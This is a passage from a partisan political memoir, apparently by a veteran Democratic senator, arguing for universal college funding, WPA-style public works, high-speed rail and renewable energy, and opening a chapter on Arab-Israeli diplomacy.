Democrats are usually portrayed as the party of fiscal irresponsibility, but often we are the watchdogs guarding ordinary Americans' checkbooks against corporate predators. President Obama and congressional Democrats have reined in abusive credit card companies, voracious mortgage bankers, and for-profit companies offering loans to naive high school students and their financially strapped parents. Bill Clinton signed the first direct loan program into law as one of his earliest acts as president in 1993, a program that Barack Obama extended under the Health Care and Education Reconciliation Act of 2010. Now, rather than banks, all new college loans will go through the Department of Education. The law also lowered the repayment cap for new borrowers from 15 percent to 10 percent and decreased the life span of a college loan from twenty-five years to twenty years.
This is all good.
But the main problem, especially in this tough economy, is that the price tag on college is high enough to dissuade many young adults and their parents from even considering the option. It is time for Democrats to end this downward spiraling chapter in American higher education. Today, just over 40 percent of U.S. adults between the ages of twenty-five and sixty-four have a two-year college degree or better, putting us sixth—between New Zealand and Finland—among the thirty-six countries included in the Organisation for Economic Co-operation and Development's most recent rankings. Significantly, while our college attainment rate stays stagnant, other industrialized countries are passing us by.
Although I pride myself in being forward-thinking, this is one case where I believe the solution lies in an earlier time: let's make the equivalent of the GI Bill available to _all_ lower- and middle-income Americans who have successfully completed high school to cover high-quality community college, college, and professional or graduate school education. This universal higher-education allowance is similar to what many countries in Europe do, where qualified college students not only attend for free but even receive a grant to help defray living expenses. The downside, of course, is that in Germany, less than a third of young people attend university, where admission is based solely on exam results.
A vigorous debate has arisen recently over whether or not everyone needs to go to college. I don't understand why this is even up for discussion. Do these same people think we should turn back the clock one hundred years, before there was universal high school too—or put children right to work like my father, who toiled long days in a coal mine as a boy? College was a part of the American Dream even before the colonies won their independence. Nine colleges and universities were established on our shores before 1776. Good Democrats want for everyone what we want for ourselves. And who among us doesn't count on sending our children to college?
A well-rounded, civilized, and functioning society needs people who can repair our cars, roofs, appliances, toilets, computers, elevators, and streetlights—and these jobs can be done without a college degree. But research by Anthony Carnevale at the Georgetown University Center on Education and the Workforce indicates that even for those jobs that don't require a bachelor's degree, a college education still translates into a higher salary. And what if one day these plumbers and technicians want to establish a wind farm or design a new electric car? A college education will give them the needed flexibility to make a change in our increasingly mobile society.
Well-paying low-skill jobs that were once the hallmark of American industry are disappearing rapidly. In an increasingly globalized economy where capital and technology are fluid, it is important to be as competitive as possible. There's a reason that President Obama has called for increasing the share of Americans who go to college. It's not because he wants one for the record books. It's because it's good for the nation.
The gap between college-educated haves and uneducated have-nots continues to grow wider, according to another Center on Education and the Workforce study. In 1963, when I was a freshman senator, a typical college graduate earned 1.4 times the hourly rate of a high school graduate. By 2009 that number had nearly doubled, even without including health insurance and pension plans. And while our nation's overall unemployment rate is 9.1 percent, college graduates have fared twice as well, with just 4.5 percent out of work.
I am not an economist, but I know this much: part of the nation's growth after World War II was fueled by the increased taxes paid by better-educated veterans who found work at better pay scales than previous generations. Receiving an education they would not have otherwise gotten enabled many Americans to get a foothold in the middle class. Dollar for dollar it may be the greatest educational success story in American history. And I guarantee this expense will have a bigger payoff than our endless spending on military matters, including the senseless wars in Iraq and Afghanistan.
We are struggling to pay for two wars, while a third conflict in Libya pulled us in too. At home, we debate how to become more competitive in the world. But even when a school must leave its science teacher slots unfilled for budgetary reasons, we fail to connect these dots. This is not a case of too few resources, it's a case of misplaced national priorities, and we Democrats need to hammer this point home.
During World War II, when the weather was bad and we couldn't fly our bombing missions, I would stretch across the cot in my tent in Cerignola, Italy, and read. One book I spent a lot of time on was Charles and Mary Beard's two-thousand-page _The Rise of American Civilization_ , which looked beyond our military and diplomatic achievements to the many elements that formed our nascent society. The authors included a quotation by Voltaire in the preface that I underlined: "I wish to write a history, not of wars, but of society . . . I want to know what were the steps by which mankind passed from barbarism to civilization."
Each June, we engage in a national ritual of gathering our college graduates on manicured lawns, hand them their diplomas, and give commencement addresses daring them to greatness. But what is left unsaid—what we Democrats must fix if we are ever to have a truly civilized society—is that there is no greatness to be had until we fix the inequalities in our education system.
Fellow Democrats, never forget that it was FDR—a man of wealth with degrees from Groton, Harvard, and Columbia—who put the needs of the country ahead of his own economic interests. Republicans labeled him a traitor to his class.
PUTTING AMERICA BACK TO WORK
**I** got my first job at the age of fourteen, thanks to the natural tendency of grass to grow and the energy that comes with youth. One of our Mitchell, South Dakota, neighbors, Mrs. Truax, hired me to mow and edge her lawn and trim the front hedge. Mrs. Truax was a charming woman who demanded attention to detail. I must have met her standards, because by the end of the summer I got a 50 percent raise, leaping from ten to fifteen cents an hour. The next summer I developed a thriving business, commanding twenty-five cents an hour to weed gardens and cut grass for a dozen families around town. I don't remember my parents ever giving me pocket money after I started high school.
My yard business taught me what the next seven decades of my life confirmed: there is no substitute for a good day's work. A job puts food on a family's table and shoes on their feet, pays mortgages and medical bills, and engages the mind and/or the body. It builds a sense of self-worth that is essential to one's well-being. Even at my advanced age, I know I would be frustrated if I weren't absorbed in various projects. Retirement for me has meant reducing my workdays from fourteen hours to twelve!
Contrast these pluses with the nearly 14 million jobless Americans (adding the two million more who are unemployed but have stopped applying for work), and one can begin to get a sense of the profound loss in earnings, opportunities, ego, and spirit that Americans have suffered since 2007, when the housing bubble burst and ushered in the Great Recession. These are difficult times.
No good Democrat wants our neighbors sitting at home, unable to earn an income by their own sweat or ingenuity. This is such a basic tenet that I would challenge anyone to disagree. The opportunity to make a living is the very foundation of America, no matter what political party one affiliates with.
But the stark fact, according to a report by the California Budget Project, is that there are four times as many people job hunting as there are positions to fill. The longer you're unemployed, the less likely you are to get hired. It angers me that people eager to work are often treated no better than a carton of milk—as if they have a shelf life. Finding work is harder today because—besides our overall economic slowdown—millions of jobs have been shipped overseas, where labor is cheaper. It's little wonder that in recent surveys a majority of Americans say they are feeling pessimistic about the future.
As a seven-year-old at the start of the Great Depression, I remember seeing the stricken faces of the bankers, store owners, and farmers who had lost their incomes and their property to bankruptcy and foreclosure. It was confusing to see grown-ups—who were in my mind all-powerful—unable to rescue themselves and their families. My father, a Wesleyan Methodist minister, was lucky: as long as God was in business, he stayed employed. The majority of women, including my mother, were homemakers, perhaps an even more exhausting job in those days before appliances. But suddenly fathers, the providers, were home too.
The Democratic Party I fell hard for did not tolerate unemployment. When Franklin Roosevelt took the oath of office in March 1933, he looked out on a national landscape in far worse shape than ours is now. FDR seized on the most powerful tool at his disposal—the federal government—to get the stalled economy moving. His largest and best-known solution was to create the Works Progress Administration, which, between 1935 and 1943, hired eight and half million people to build or improve our country's public works.
The WPA is a prime example of win-win. People got steady paychecks that fed families, the nation's economic engine, and the national hope that better days were coming. The United States got needed roads and airfields. Nearly every community boasted a new park, bridge, or school. The number of rural homes with electricity doubled. In my hometown, we got a beautiful new courthouse that we are still using with pride.
In true Democratic fashion, the WPA also acknowledged the value of the arts, hiring hundreds of actors, writers, painters, photographers, and historians. I've read that these creative types didn't always appreciate having to clock into their government job at nine a.m. Nonetheless they produced some of our country's most enduring works—murals in libraries and post offices, local histories and travel guides, and photographs that brought the destruction of the Depression home to the nation. _Migrant Mother_ , Dorothea Lange's 1936 photo of a woman at a California pea pickers' camp, worry creasing her face, became the iconic image of the era.
In 2009, seventy-six years after Roosevelt entered the White House, our new president, Barack Obama, had barely changed out of his inaugural tuxedo before he got down to work the next day, pushing Congress for a stimulus bill to staunch the worst effects of the recession. I thought his first major piece of legislation, the $787 million American Recovery and Reinvestment Act, was the right approach. It helped keep teachers in classrooms, established electronic health care records, invested in green technology, and repaired roads and bridges, among many other initiatives. All told, it saved or created about three million jobs. It may have prevented the recession from becoming a depression; I only wish it had been even larger than it was—not smaller, as the act's opponents advocated.
But it didn't take long for some conservatives and libertarians to decide that spending money to stem unemployment had hampered, not helped, our economy. To them, federal debt was more important than putting Americans back to work. And with that, the Tea Party movement was born.
I don't mean to be rude, but I do mean to be blunt: no one—conservative or liberal—is cheering the increased debt load. But had we not borrowed, our nation's economy would have continued to careen downhill. The stimulus helped stabilize the country and lay the groundwork for a recovery, however fragile.
The problem, as I mentioned, is that the stimulus wasn't large enough to yield a far-reaching, long-term effect. Now that the money has been spent, local governments have begun to shed jobs—so far, nearly a half million since their 2008 peak. In school districts across the country, superintendents have discarded extracurricular activities, cut back on classroom supplies, dismissed administrative staff, and frozen salaries. When that wasn't enough, many schools had to fire their librarians to stave off even more difficult cuts, such as discontinuing full-day kindergarten. The end is not yet in sight.
Nor have states been exempt. The governors of New Jersey and Wisconsin have used their local budget crunches as an excuse to break up public sector labor unions. We Democrats ought to know better. We cannot expect our firefighters and police officers to put themselves in harm's way for us and then steal their economic security.
As a South Dakotan, I am as thrifty as anyone I know. It is how my parents reared me. But had Congress been able to agree on a larger stimulus, my bet is that we would not be losing jobs now. And the problem, besides the soul-sapping aspects of being laid off, is that each person collecting unemployment means fewer dollars recycled back into the economy.
For all of the GOP's faith in supply-side economics—lowering taxes to spur the economy by producing more goods and services (the approach popularized by Ronald Reagan and carried forth by George W. Bush)—the idea isn't worth a hoot in a rain barrel. This Republican policy helped the wealthiest Americans squirrel away the money they saved in income taxes and capital gains taxes to become even wealthier. In 2007, the top 1 percent of U.S. households received tax cuts averaging $41,077, which lifted their after-tax incomes by 5.0 percent, according to the Urban-Brookings Tax Policy Center. And within the top 1 percent, households with incomes over $1 million received tax cuts averaging $114,000, resulting in an after-tax income jump of 5.7 percent. But the so-called trickle-down effect that supply-siders count on to create jobs never materialized.
It is past time for the supply-side myth to be replaced by something that works: demand-side economics. As in Franklin Roosevelt's day, our party should push to supplement private employment with public efforts to expand the workforce—to spark consumer demand by putting money in people's pockets. Unlike the wealthy, when the poor and middle class earn more, the money goes right back into the economy, spent on food, clothes, transportation, and other necessities. Greater demand causes the local grocery store chain to add another cashier, or the local Walmart another greeter. And with each new hire, the positive cycle begins again.
I am all for balancing the budget, but first things first: we need to think innovatively and broadly about creating new jobs, following the WPA model. We ought to use American talent and tax money to create lasting improvements.
Let's start with one of President Obama's pet projects: building the world's best high-speed railway to serve 80 percent of the country by 2025. Conservatives tend to disparage or even mock the plan as more needless big government spending.
Here's why I believe they are wrong. President Eisenhower, one of my heroes, initiated the Interstate Highway System (IHS) more than a half century ago. As the South Dakota State Democratic Party executive secretary in the mid-1950s, before the interstate system was completed, I remember how long it took me to drive from town to town on two-lane roads.
Today, freeways are such a part of American life that we rarely think of them as more than the route home for Thanksgiving. But the system the IHS built, primarily to allow military convoys to cross the country efficiently, is still "the economic engine that drives this country's prosperity," as _American History_ magazine noted. With the dawn of what is sometimes called "Eisenhower's autobahn," American businesses were able to instantly expand their territory and increase their bottom lines. During its first forty years the Interstate spawned more than seven million jobs and bumped up the nation's productivity by 25 percent. Every dollar spent on highway construction generates six dollars in return. The existence of freeways has allowed millions of Americans to buy homes in the suburbs and commute to work.
Fast trains would do for the nation in the twenty-first century what the Interstate Highway System did in the twentieth. I have been advocating such a rail system for forty years. A study by the nonpartisan U.S. PIRG (the federation of state Public Interest Research Groups) shows that no matter how successful the IHS has been, money spent today on public transportation creates twice as many jobs as funds spent on highways. And the benefits would be immediate, since one in five of the nation's unemployed is a laid-off construction worker. Shuttered plants could be retrofitted to build and maintain new locomotives and cars, creating manufacturing jobs. Engineers would be needed to grade new routes. We would require conductors, operators, ticket takers, and repair people. The ripples would spread far and wide.
China, Japan, and Europe have long relied on bullet trains that run at 200 miles per hour, while the United States merely chugs along behind them. Contrast the top speed for most U.S. trains—regular passenger trains run at 59 miles per hour—with high-speed trains (defined as anything above 160 miles per hour) on new track. Such an interconnected system would dramatically reduce traffic congestion, decrease the number of highway injuries and fatalities, and prolong the life spans of our roadways. Fewer drivers would mean cutting greenhouse gases and dialing back our dependence on gasoline. An easy commute would encourage suburban home buying, help stabilize home values, and lower the transportation costs for many. By spending fewer hours behind the wheel, commuters would be more productive—or even gain much-sought family or relaxation time.
I am baffled by the shortsightedness of the Republican governors of Florida, Ohio, and Wisconsin who turned away federal money their states had won for high-speed rail projects. Governor Rick Scott of Florida rejected $2.4 billion, which would have nearly paid for the nation's first bullet train between Orlando and Tampa. His fear was that the train would somehow become a costly "boondoggle." With it he returned approximately 20,000 temporary and permanent jobs for his constituents at a time when the state unemployment rate was 12.5 percent. He gave up a high-speed train that could, one day, be part of a coast-to-coast network—a train that could serve commuters and encourage tourists. As a part-time Florida resident, I have heard both Republican and Democratic Florida voters say that Scott will be a one-term governor. One can only hope.
A high-speed train network is admittedly a huge project. But there are also thousands of comparatively smaller, essential public works jobs that need tackling. The broken levees after Hurricane Katrina that resulted in the flooding of New Orleans in 2005; the bursting of the Kaloko Reservoir dam in Kauai, Hawaii, in 2006; and the rush-hour collapse of the Interstate 35W Bridge in downtown Minneapolis in 2007 are a few high-profile disasters that likely could have been prevented if we had properly cared for our nation's infrastructure. That's just the start. According to the U.S. Department of Transportation, a quarter of our 600,000 bridges need repairs, and our substandard roads are "a significant factor" in one-third of the 43,000 auto fatalities each year. Our power grids are struggling to keep up with increased energy demands. As Donald F. Kettl, dean of the School of Public Policy at the University of Maryland, put it, "Much of America is being held together with Scotch tape, baling wire, and prayers."
We have put these tasks off just as many homeowners do; maintenance is costly and unglamorous. There always seem to be more pressing needs. But of course delaying these long-overdue projects eventually costs us even more. Today, our fixer-upper of a country cannot operate at full capacity. This is the right moment to repair the metaphorical leaky roof and, in the process, give more out-of-work people a paycheck.
Besides outright job creation, there are other critical steps we ought to be taking to reduce the unemployment rolls. By some estimates, fully a quarter of our joblessness is due to structural unemployment, a mismatch between workers and openings. A 2010 report by the Hamilton Project and the Center for American Progress indicates that in this information age, many middle-class Americans possess outmoded skills. But that alone doesn't account for the misalignment. A 2009 National Association of Manufacturers survey indicated that a third of companies lacked qualified scientists and engineers. With the economy operating below capacity, now is the time to invest in job training programs and additional education to help workers retool. While many Democrats in Congress understand this, there aren't enough votes to save the U.S. Department of Labor's job training programs from the House Republicans' budget ax. But I believe this is a case where the government shouldn't have to bear the full burden. Journalist Robert Samuelson has urged American companies to be "a little bolder," to "make a small gamble that, by providing more training for workers, they might actually do themselves and the country some good." I agree. The past several decades have been marked by disloyalty on the part of companies and employees. It is high time to revive and strengthen the compact that traditionally bound business and workers.
Here are a few suggestions that would advance this cause: raising the minimum wage from $7.75 to $8.25 an hour would result in an almost instant payoff. The fifty-cent hourly increase would give some 10 million workers a raise, thereby flushing more money into the economy. Although naysayers argue that even a small bump in wages cuts into job creation, in fact the opposite is true, according to Heidi Shierholz, an economist with the nonpartisan Economic Policy Institute: an increase could generate 50,000 new jobs.
We must also expand on family-friendly labor policies. Conservatives are given to saying that the Democrats' idea of family-friendly is business-unfriendly. This propagates the false notion that Democrats are out to break small businesses.
Let me give you an example: when Bill Clinton signed the Family and Medical Leave Act into law in 1993, it was the first time mothers and fathers of a premature infant, people nursing a partner with cancer, or someone caring for a parent in last-stage dementia did not have to choose between shortchanging a loved one and holding on to the job that kept the family in food and health insurance. Employees can now take off twelve weeks to care for immediate family or for themselves, without pay, but with the promise that their job, or a similar position, will be available when they return. They retain benefits but pay their share. Small businesses are exempt, as the act applies only to employers with fifty or more workers living within seventy-five miles of their workplace. The cost to the employer is minimal. But for employees, already stretched and stressed, it is a blessing.
Nonetheless our work-family policies still lag far behind our industrialized counterparts. Between 1979 and 2006, the average American middle-class family's workweek lengthened by eleven hours. Think of all their children's soccer games American parents have missed! I wasn't around for a lot of my daughters' and son's growing-up years, and I regret it to this day. You do not get the time back.
America's work ethic is such that we toil longer hours than people in most other developed countries, including Japan, where, the Center for American Progress's Joan C. Williams and Heather Boushey note, "there's a word, karoshi, for 'death by overwork.'" At a minimum, most European Union countries set the workweek below forty hours and guarantee a certain number of fully subsidized sick days. Of the thirty nations in the Organisation for Economic Co-operation and Development, the United States alone does not guarantee paid maternity leave. And child care subsidies here, limited to the poor, are spotty at best. Given all these challenges, it's no wonder that, according to Williams and Boushey, 90 percent of American mothers and 95 percent of fathers say they experience work-family conflict.
In 1960, when I was a U.S. congressman, I was the breadwinner for our rollicking family of seven, and Eleanor stayed home to take care of our children, as 80 percent of mothers did. Today, this number has nearly flipped: 70 percent of American children live in homes where both parents work. Even so, salaries for lower- and middle-income Americans have not kept pace. The Economic Policy Institute reports that over the past thirty years, 34.6 percent of all U.S. income growth has gone to the top one-tenth of one percent of earners. In contrast, the bottom 90 percent of earners has seen only 15.9 percent growth. Think about that. The widening salary gap between U.S. CEOs and average workers is a demoralizing force. According to the AFL-CIO's Executive PayWatch, in 2010 the average chief executive of a Standard & Poor's Fortune 500 company earned $11.4 million. This eight-figure salary equals the paychecks of 28 U.S. presidents, 225 teachers, or 753 minimum-wage earners.
Another trend in the workplace is a significant drop in union membership, to the deafening applause of conservatives, who believe that unions drag our economy down. Today only 12 percent of American employees belong to a labor union, compared to about one-third between 1947 and 1973. But during those years, U.S. economic output tripled, growing at a rate of 3.8 percent a year, compared to 2.2 percent since 2001. And as membership has dropped, so has the share of income going to the American middle class.
With all these forces tugging people down, we don't have to look far to understand what keeps Americans awake a night. A recent Gallup "well-being" poll found that 40 percent of employed workers and 55 percent of underemployed workers said they were struggling or suffering.
Devaluing the hard work of the average person has become a systemic—and distressing—national problem. Preoccupied by job insecurity, stagnant salaries, and the need to care for their families in a hostile work environment, Americans cannot possibly focus on the greater good. You can't worry about clean air or water, better energy policies, or national education standards when you're wrapped up in gnawing questions over how to make a living, pay the mortgage, and afford this week's groceries.
As conscientious parents, we guide our children. We lay out the blueprint for success. We underscore our values until they are (we hope) absorbed. We tell them as our parents taught us: Admit your mistakes. Follow the Golden Rule. Work hard and you will be rewarded. Respect your elders. Be kind. Do the job right. Don't cheat. If you hurt someone, apologize. Share. It pays to be honest. The American Dream is attainable for everyone.
This was our truth.
But I worry about my grandchildren's and great-grandchildren's generations. They have every reason to question the old adages. Pop culture delivers the message that getting ahead and work are unrelated. It is possible to be famous for being famous. Corporations let them know that the big guys always win. Parents can work hard for decades and then be dropped with no severance, while the CEO takes home multimillion-dollar bonuses. It is hard to climb the ladder when the rungs are missing. It is easy to believe that the key to success is ruthless selfishness.
When people believe that the deck is irredeemably stacked, they lose hope. When you decide that the rule is every man for himself, you stop caring. You lose community. You undermine your family. And you are angry.
We Democrats believe in giving everyone a fair shake. We cannot—must not—let this become the America of tomorrow. It is a betrayal of our very legacy.
ENERGY AND THE ENVIRONMENT
**I** n April of 1977, during my final term as a U.S. senator, Democratic president Jimmy Carter gave a fireside chat from the White House library, one of several sobering nationally televised speeches that he made to increase our commitment to protecting the environment and our energy resources. Carter, a plainspoken man, began this particular address: "Tonight I want to have an unpleasant talk with you about a problem unprecedented in our history."
If we don't begin to conserve now, he said, "we will feel mounting pressure to plunder the environment. We will have a crash program to build more nuclear plants, strip-mine and burn more coal, and drill more offshore wells."
Carter's strongest line, which he delivered with his fist in the air, was: "This difficult effort will be the 'moral equivalent of war.'"
Critics thought the president was showboating that night, because he wore a cardigan instead of a suit jacket. I thought the sweater was a fine touch. He was, in effect, telling the American people that if their house was chilly, they should just put on another layer instead of turning up the thermostat.
In both this speech and in his July 1979 "Crisis of Confidence" address (delivered, by the way, in a coat and tie), Carter laid out the policies the United States should take to move toward energy independence, thereby diminishing the need for U.S. involvement in the ever-turbulent Middle East. He suggested that we make practical changes: insulating homes and office buildings, driving smaller cars, carpooling, and taking public transportation.
Having just established the U.S. Department of Energy as a Cabinet-level post, Carter requested massive funds to invest in the development of alternative sources of fuel. He called for a reduction in gasoline consumption and asked Congress for the authority to impose mandatory rationing. He set import quotas. He proposed selling energy bonds. And he put solar panels on the roof of the White House.
The president's call for conservation seemed radical to many Americans, who, though worried about rising gas prices and long lines at the pumps, resisted sacrifice and change on the scale he urged.
But had we listened to Jimmy Carter then, our nation would be stronger and safer today. Instead, in the three-plus decades since he introduced the "unpleasant" topic, our energy situation has followed the dire trajectory he predicted. We have shed blood in two devastating foreign wars over oil. Gasoline has become so costly that, for many Americans, getting to work is now a substantial expense. Offshore drilling poses the risk of dramatic blowouts like the 2010 BP Horizon disaster in the Gulf of Mexico, which spilled 200 million gallons of oil. And strip-mining has been joined by mountaintop removal, an even more ravaging process, as we feed our endless need for reliable energy. And of course we are dependent on these energy sources until we create viable alternatives to take the pressure off.
Today, as a people we are still addicted to oil, overheated winters and cold summers, instant gratification over caring for our environment. We suffer from what President Barack Obama calls "amnesia": "We cannot keep going from shock to trance on the issue of energy security, rushing to propose action when gas prices rise, then hitting the snooze button when they fall again," he said. But even as the price temporarily fluctuates, in the long term it will undoubtedly rise, spurred by demand from China and India, whose 2.5 billion citizens aspire to the same comforts and conveniences we enjoy.
With 313 million people, the United States represents 4.5 percent of the world population—and we're the consumers of 25 percent of the world's oil. Out of every five barrels we use, one comes from a country our own State Department classifies as dangerous or unstable. Our oil habit has forced us to betray our own democratic principles, turning us into hypocrites and alienating moderates in the Middle East.
Consider this: in 1922, when I was born, the total U.S. population was 110 million people—roughly a third of what it is now. While I don't know what percentage of the world's goods we consumed nearly nine decades ago, I do know this: household workhorses like the washing machine and dryer had only recently come on the market, and a refrigerator cost more than a Model T. My family and I considered these items to be marvelous luxuries. Today, new houses come with three-car garages. And besides a TV in every room, we've got our computer, iPad, cell phone, iPod nano, and Wii, all of which share one thing: they ultimately depend on electricity. We plug them in without thinking—and likely, without knowing—where the electrical current comes from.
It's heartening to feel we live in the land of plenty. But as Democrats—and Americans—we are obliged to lead our country in a direction that is both sustainable and moral, even when there are short-term costs, such as those foreseen by Jimmy Carter. Stewardship of the environment, including decreasing carbon emissions, reducing our consumption of oil, and weaning ourselves from our dependence on foreign resources, should be among our most urgent national—and national security—priorities. Lawmakers must do what is good for their constituents even if they wind up paying at the ballot box. Do not be confused: "Drill, baby, drill!" is a slogan, not an energy policy.
How can we move past the one-step-forward, two-steps-back political dance that Washington has perfected? In his 1980 campaign, Ronald Reagan promised to abolish the 55-mile-per-hour speed limit, a conservation measure imposed after the 1973 Arab oil embargo. And one of his first acts as president was to order the removal of the solar panels Jimmy Carter had installed on the White House roof.
I've always been sorry that, in the days after 9/11, President Bush did not call for modernizing fuel efficiency standards (as President Obama is now)—a move that would have significantly reduced both our oil use and the amount of money we spend on oil from some of the very countries conspiring to destroy us. National security was paramount on our minds. American unity and the can-do spirit were higher than they had been since the Second World War. We were ready for large-scale sacrifice. We craved a way to heal. This was the time to make a case against using foreign oil. This was the time to allocate federal funds for the research and development of new technology. This was the time to start the construction of a national system of bullet trains just as during World War II citizens in my hometown and across the country bought bonds, planted victory gardens, ate less butter and meat, and saved foil and scrap metal for the war effort. President Bush didn't really tell us to shop: that's a myth. But the opportunity for the public to undertake meaningful change was missed all the same. Time passed. Partisan politics returned. In 2003, Congress passed a tax bill as part of President Bush's economic stimulus plan that offered a $100,000 tax credit to business owners who bought a vehicle that weighed at least 6,000 pounds fully loaded, including SUVs and Hummers. Contrast that to the puny $2,000 tax credit Congress gave to those who bought fuel-efficient hybrid cars, an extension of a decade-old law passed to encourage consumers to buy electric cars.
Energy and environmental issues should not belong to Democrats or Republicans. But while the nation has procrastinated in addressing these problems, the phenomenon that former vice president Al Gore termed "an inconvenient truth" has already begun to affect us.
In fact, global warming is not just inconvenient. It can be deadly. Hurricanes. The flooding of the mighty Mississippi River. Record drought in Texas. With 2010 being the warmest year in recorded history, the extreme weather made it seem like we were living in biblical times.
I have endured epic weather before, and I would not wish it on anyone. Growing up in South Dakota during the Depression, I remember watching farmers shielding their eyes from the sun, waiting for rain that didn't come, and watching our topsoil whipped in the air in choking dust storms that made the daytime sky seem like a moonless night. The Dust Bowl was caused by a combination of drought and poor farming practices. We learned that lesson, but, in the second half of the twentieth century, failed to take to heart others about our climate. In 2010, when the National Academy of Sciences issued "the most comprehensive report ever on climate change," Pamela Matson, Stanford University's dean of the School of Earth Sciences, who chaired one of five panels organized by the academy at Congress's request, made what is happening chillingly clear: "Climate change is occurring, the Earth is warming," she said. "Concentrations of carbon dioxide are increasing, and there are very clear fingerprints that link [those effects] to humans." This stark pronouncement was bolstered by a 2010 National Academy of Sciences survey of 1,372 scientists, 97 percent of whom agreed that it is "very likely" mankind is responsible for "most of the unequivocal warming of the Earth's average global temperature."
Some conservatives say that we are simply experiencing a cyclical weather pattern, not a chronic man-made problem. I have seen such skepticism before, and it was proved wrong. Remember those experts who said smoking didn't cause cancer?
We are bickering amongst ourselves while Rome burns, or in this case floods. Let's stop making change around the edges—or, worse, doing the exact opposite of what is called for. In Europe, most countries have invested in carbon-reduction technology and use a combination of loans, tax breaks, and regulations to cap or trade emissions. Just as FDR built the Tennessee Valley Authority in 1933 to generate electricity and development, we need the full force of the federal government behind us to diversify beyond the old and not-so-old standbys of oil, natural gas, diesel, and nuclear fuels—and even beyond corn ethanol. (While it is a so-called biofuel, ethanol is one that takes away from a necessary food source, but other advanced biofuels made from low-input crops, such as agricultural waste, switchgrass, or algae, hold the potential to replace millions of gallons of gasoline without threatening our food supply.) Hybrid cars are one alternative, and we need to develop others, including plug-in hybrids and fully electric cars that can run on batteries and be recharged, with sufficient places to do so when we're away from home.
In my home state of South Dakota, I'm used to driving past field upon field of soybeans and corn, but there's every reason why our farmers should sow wind too, to sell to the energy grid as a second source of income. I'd also like to see the country embrace more solar options to help lessen our dependence on fossil-fuel-generated electricity.
Technology is not the barrier. These and other renewables are available now. But we're stuck—and we're not just falling behind, we're squandering opportunities to create jobs, generate income, and preserve our cherished planet for the future. We don't want to switch our energy dependence from one region of the world to another, but if we don't jump into the renewable energy market, we will be forced to buy solar panels, wind turbines, and advanced batteries from China and Germany.
In 2009, a federal renewable electricity standard passed the House of Representatives but failed to pass in the Democratic-led Senate due to Republican opposition. States have taken the lead in using clean, renewable power—thirty states so far have some form of renewable electricity standard. California has been the most aggressive, mandating that one-third of its energy come from solar power, windmills, and other sources of renewable energy by 2020. But a nationwide effort would go further in creating demand and encouraging private investment.
I urge our national lawmakers to stop stalling and move ahead. Instead of being thwarted by the obstacles, we need to seize the opportunities before us. I am not an alarmist, but I truly believe that if we wait too long, we will be too late. There will not be another opportunity to say we gave our best effort to fight this cause. We must do it for our children and for theirs, just as a century ago Teddy Roosevelt created a national park system entrusted with preserving America's natural resources and scenery "for the enjoyment of future generations."
Years ago when my late wife, Eleanor, and I were rearing our young family, we loved to go camping in the Great Smoky Mountains of Tennessee and North Carolina. And in Montana, where I spend time each summer, we boast two of America's most exquisite national parks: Glacier National Park and Yellowstone National Park. These beautiful sites truly are refuges. I'd hate to think what these places would look like now if they had been left to the laissez-faire approach of a less progressive president. (Even so, the famous glaciers of Glacier National Park are shrinking rapidly because of global warming.)
But preserving our environment and making the country energy efficient need not be—nor should be—left only to Washington's power brokers. The good news is that most of us now accept what we couldn't fathom when Jimmy Carter was president. We as individuals can make personal changes and make a real difference. The conscientious among us carry reusable bags to the grocery store. We recycle now. We don't litter anymore. Probably to anyone under thirty that sounds like a no-brainer, but I remember that before Lady Bird Johnson's campaign to beautify America's highways, we were in the habit of chucking out trash as we drove along—our gum wrappers tossed right out of the car window as we flew down the interstates.
We can all do more—citizens, government, business. We do not have to stay quiet. A patriot, or a Democrat—words I use interchangeably—can and should criticize the government when we see that it's on the wrong track. Just as the Vietnam War protests changed the course of our nation, leadership—and a new sense of purpose and direction—can come from the ground up. It is invigorating to remember that we the people can also make a difference on national security issues, climate change, and the economy. This is part of who we are as a nation.
In 1962 it was a Democrat, John F. Kennedy, who said, "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard, because that goal will serve to organize and measure the best of our energies and skills, because that challenge is one that we are willing to accept, one we are unwilling to postpone, and which we intend to win."
A half century later, it is time for us to challenge ourselves to do something that will require equal tenacity : take care of the world we live in.
We Democrats will surely have to take the lead. There was a time when support for public health, clean energy, and the environment had bipartisan support. But nowadays many GOP officials and nearly all of the Republican presidential candidates deny the relationship between carbon dioxide pollution and climate change. They're against providing seed money to invest in the clean energy technology of the future while they support billions of dollars in annual tax breaks for big oil. Where Republicans are the party with a stubborn disregard for the facts before them, viewing the world as they wish it were instead of how it really is, Democrats have the courage to accept the truth, to embrace change, to look toward the future. And while remembering the experiences of the past, it is toward the future that we must look.
THE MIDDLE EAST
**I** n March 1975 I flew 5,912 miles to have lunch with Golda Meir, the prime minister of Israel. When I got there she canceled.
The reason? As chairman of the U.S. Senate Foreign Relations Subcommittee on Near Eastern and South and Central Asian Affairs, I stopped off in Be-ruit and met with the exiled Yasser Arafat, chairman of the Palestine Liberation Organization.
My tour, which also included stopovers in Egypt and Saudi Arabia, came during a tumultuous time in the region. In 1973, Arab countries attacked Israel on Yom Kippur, the holiest day of the Jewish calendar. Six years earlier, in 1967, the Voice of the Arabs radio station promised "extermination of Zionist existence." Instead, Israel fended off Arab armies in the Six-Day War, a victory that turned the Jewish state into an occupying nation. Both sides were, and remain, steeped in bitterness, anger, and hate. Mrs. Meir once pronounced: "There is no such thing as a Palestinian people . . . they didn't exist."
I knew going in that the chance I could help forge peace between Israel and the Palestinians was admittedly reed slim. But I felt I had to try.
When Mrs. Meir read in the newspaper that I had talked with Arafat, she refused to meet with me and turned me over to the Israeli defense minister, Shimon Peres. Peres understood that I didn't seek out Arafat because I agreed with everything he said. I went to see him because a reed-slim chance is better than no chance at all. Meeting with only one side would guarantee increased animosity. I listened to Peres and came away with a lifelong friend.
As Democrats we know the value of listening to all points of view. This is the only way to forge peace among nations.
I have long believed that if we Americans are to be honest brokers in the Arab-Israeli peace process, we have to conduct ourselves in an evenhanded way. This has not been an easy posture for us to sustain, especially for us Democrats. American Jewish voters usually favor the Democratic Party. They tend to be liberal, humane, informed people. I recall their strong backing of me in the presidential race of 1972 as well as in my long Senate career.
Understandably, the American Jewish community is more sympathetic to Israel than to the Palestinians and the Arab states. But if we Americans are to be successful peace brokers, we have to be as sensitive toward Arab concerns and aspirations as we are to the Israelis'.
